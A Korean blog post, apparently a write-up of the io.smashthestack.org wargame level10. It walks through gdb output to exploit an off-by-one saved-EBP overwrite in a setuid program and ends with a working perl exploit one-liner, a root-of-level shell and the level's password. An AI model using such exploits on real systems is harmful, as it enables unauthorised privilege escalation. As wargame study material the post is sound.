level10

2009. 5. 4. 18:26

꾸역꾸역 풀고 있긴 합니다만 언제 다 풀런지 모르겠군요T_T

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
        int *i;
        char buf[256];

        i = (int *)getebp();
        limit = *i - (int)buf + 1;

        for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];

}

int main(int argc, char **argv)
{
        int cookie = 1000;
        if (argc != 2) exit(1);
        f(argv[1]);

        if ( cookie == 0xdefaced ) {
                setresuid(geteuid(), geteuid(), geteuid());
                execlp("/bin/sh", "/bin/sh", "-i", NULL);
        }
        return 0;
}



level10 의 소스입니다. functin f 의 취약점을 이용해서 입력값 조작을 통해 cookie 값을 "0xdefaced"로 바꾸는게 목적인듯 합니다.

        i = (int *)getebp();    
      limit = *i - (int)buf + 1;

      for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];

냄새가 나는 부분입니다. 실제로 값을 찍어보면 limit에 0x105 (261)이 들어가서 그만큼 argv의 값을 buf 에 집어넣게 됩니다.( 처음엔 이값에 - 가 찍혀서 .. 자세히 보지도 않고 몇일간 삽질을..)

일단 보고 드는 생각은 그냥 stack에서 cookie 값까지 덮어 씌워서 defaced 로 바꿔주면 되겠구나 했습니다. 그러나 limit 의 크기가 작아서 거기까지는 덮어씌우지를 못했습니다. 어떻게 할까 고민하다가 전역변수로 눈을 돌려봤습니다. limit 와 i 가 전역변수니깐 .bss 영역에 있을 저값을 어떻게 조작할수 없을까 해서 몇일동안 허송 세월을 했습니다. 삽질할때는 참 끈기 있게도 잘 찾아보는거 같습니다 -_-;

몇일 헤메다가 비누님한테 한번 여쭈어 봤더니 30분만에 푸시더군요. 설명은 정확히 해주지 않으셨지만 포인트는 확실히 알았기에 차분히 한줄씩 브레이크포인트 걸어서 살펴봤습니다. 입력값을 점점 늘리면서(argv의 크기 변경) main 함수의 ebp의 변화와 f 함수를 호출하고 난뒤의  레지스터값을 체크해봤습니다.


f 함수의 디스어셈블된 코드

(gdb) disas f
Dump of assembler code for function f:
0x080483fb <f+0>:       push   %ebp
0x080483fc <f+1>:       mov    %esp,%ebp
0x080483fe <f+3>:       sub    $0x110,%esp
0x08048404 <f+9>:       call   0x80483f4 <getebp>
0x08048409 <f+14>:      mov    %eax,0xfffffffc(%ebp)             // eax에는 ebp가 들어있습니다. ebp-4 로 이동.
0x0804840c <f+17>:      mov    0xfffffffc(%ebp),%eax                // i 를 eax로  
0x0804840f <f+20>:      mov    (%eax),%edx                              // eax의 주소를 edx로
0x08048411 <f+22>:      lea    0xfffffefc(%ebp),%eax                       // buf 를 eax로 buf의 위치는 ebp-260 부터 입니다.
0x08048417 <f+28>:      mov    %edx,%ecx                                   // edx를 ecx로
0x08048419 <f+30>:      sub    %eax,%ecx                                // ecx(1의 주소값) 에서 edx buff의 값을 뺍니다.
0x0804841b <f+32>:      mov    %ecx,%eax
0x0804841d <f+34>:      inc    %eax
0x0804841e <f+35>:      mov    %eax,0x804974c                  // 0x804974c 에 limit의 값이 있습니다.
0x08048423 <f+40>:      movl   $0x0,0x8049750                            
0x0804842d <f+50>:      jmp    0x8048452 <f+87>
0x0804842f <f+52>:      mov    0x8049750,%edx
0x08048435 <f+58>:      mov    0x8049750,%eax
0x0804843a <f+63>:      add    0x8(%ebp),%eax
0x0804843d <f+66>:      movzbl (%eax),%eax
0x08048440 <f+69>:      mov    %al,0xfffffefc(%ebp,%edx,1)
0x08048447 <f+76>:      mov    0x8049750,%eax
0x0804844c <f+81>:      inc    %eax
0x0804844d <f+82>:      mov    %eax,0x8049750
0x08048452 <f+87>:      mov    0x8049750,%edx
0x08048458 <f+93>:      mov    0x804974c,%eax
0x0804845d <f+98>:      cmp    %eax,%edx               c가 limit 보다 크면 빠져나간다.
0x0804845f <f+100>:     jge    0x8048470 <f+117>
0x08048461 <f+102>:     mov    0x8049750,%eax
0x08048466 <f+107>:     add    0x8(%ebp),%eax
0x08048469 <f+110>:     movzbl (%eax),%eax
0x0804846c <f+113>:     test   %al,%al
0x0804846e <f+115>:     jne    0x804842f <f+52>
0x08048470 <f+117>:     leave 
0x08048471 <f+118>:     ret   
End of assembler dump.


 

f 함수를 호출하기전과 호출하고 난뒤에 각각 브레이크 포인트를 걸었습니다.

(gdb) b *main+63
Breakpoint 1 at 0x80484b1

(gdb) b *main+68
Breakpoint 2 at 0x80484b6

(gdb) r `perl -e 'print "A"x256'`                 버퍼 사이즈인 256개부터 시작했습니다.

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x257'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x258'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38


(gdb) r `perl -e 'print "A"x259'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38


(gdb) r `perl -e 'print "A"x260'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x261'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41                main 함수 ebp의 값이 바뀌었습니다.

(gdb) r `perl -e 'print "A"x262'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x263'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x264'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x265'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x266'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x267'`             

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28                   argv가 증가하면서 main 함수 ebp 값이 바뀌었습니다.
esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41                   f 함수 호출뒤에 ebp 의값은 0xbfffdc41 로 고정됩니다. 
                                                                    
(gdb) r `perl -e 'print "A"x268'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x269'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x270'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x271'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x272'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x273'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x274'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x275'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x276'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x277'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x278'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x279'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x280'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x281'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x282'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x283'`

esp            0xbfffdbe0       0xbfffdbe0
ebp            0xbfffdc18       0xbfffdc18

esp            0xbfffdbe0       0xbfffdbe0
ebp            0xbfffdc41       0xbfffdc41

........


(gdb) r `perl -e 'print "A"x300'`

esp            0xbfffdbd0       0xbfffdbd0
ebp            0xbfffdc08       0xbfffdc08

esp            0xbfffdbd0       0xbfffdbd0
ebp            0xbfffdc41       0xbfffdc41



이렇게 한참동안 생각없이 입력하다보니 f 함수 호출뒤의 ebp 값이 전부 같길래 한번 스택에서 값을 확인해봤더니..

0xbfffdba8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbb8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbc8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbd8:     0xbfffdc41        0x080484b6      0xbfffdd9f       0x0023c2e8
0xbfffdbe8:     0xbfffdbf8          0x08048380      0x0023dff4      0x08049718
0xbfffdbf8:      0xbfffdc30        0x080482dd      0x00000002      0xbfffdca4
0xbfffdc08:     0x000003e8       0xbfffdc30         0x0023dff4      0x00000000



이게 뭡니까.. for 문에서 261만큼 값이 대입될때 ebp 까지 덮어버려서 마지막 1바이트값만 바뀌는 것이었습니다.

결국 ret 구문에 의해 main 함수로 돌아갈때 조작된 ebp 의 값이 main 함수의 ebp 값이 되버리는 간단한 현상이었습니다 -_-;;;;;;

main 함수에서는 0x08048488 <main+22>:   movl   $0x3e8,0xfffffff0(%ebp)   ebp-16에 쿠키값을 집어 넣습니다 .따라서

위에서 나온것처럼 0xbfffdbd8 을 ebp로 해서 -16 인 0xbfffdbc8에 \xed\xac\xef\x0d 를 넣어주면 되겠습니다.


(gdb) r `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\xd8","A"x22'`

실패했습니다. 우리가 조작할수 있는 값은 ebp의 마지막 1바이트 뿐이기 때문에 여기서 약간의 조작이 필요합니다. 위에서 우리는 argv를 크게 주면 ebp의 값이 점점 감소 한다는 것을 알았습니다. 이를 이용해서 argv의 값을 늘려서 조작된 ebp의 값 -16이 cookie를 가르키도록 해봤습니다.

/levels/level10 `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\x58","A"x160'

최종 공격 코드를 입력해봤습니다. (경로를 절대경로로 입력하면 gdb와 비슷하다는 말씀을 비누님이 해주셨습니다!)

level10@io:/levels$ /levels/level10 `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\x58","A"x160'`

sh-3.1$ id
uid=1011(level11) gid=1010(level10) groups=1010(level10)

sh-3.1$ cat /home/level11/.pass
bu8itdus



 쉬운문제였는데 뻘짓만 정말 한가득을 했습니다.. 졸려서 마지막은 날림으로..
 이런 에러를 off-by-one 이라고 부르는군요.   비누님 감사! (http://en.wikipedia.org/wiki/Off-by-one_error)

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org